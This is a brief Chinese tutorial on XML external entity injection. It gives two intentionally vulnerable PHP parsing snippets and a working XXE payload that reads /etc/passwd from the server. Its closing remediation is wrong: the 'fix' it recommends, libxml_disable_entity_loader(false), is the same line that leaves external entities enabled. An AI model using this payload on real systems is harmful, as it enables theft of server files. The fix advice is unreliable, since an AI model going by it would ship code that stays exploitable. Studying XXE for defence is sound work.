XML实体注入漏洞
简介XML实体注入漏洞
<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
var_dump($xml);
}
//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = new SimpleXMLElement($data, LIBXML_NOENT);
var_dump($xml);
}
?>
那么POST的data数据为:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>
如果需要修复,只需要在前面加上:
libxml_disable_entity_loader(false);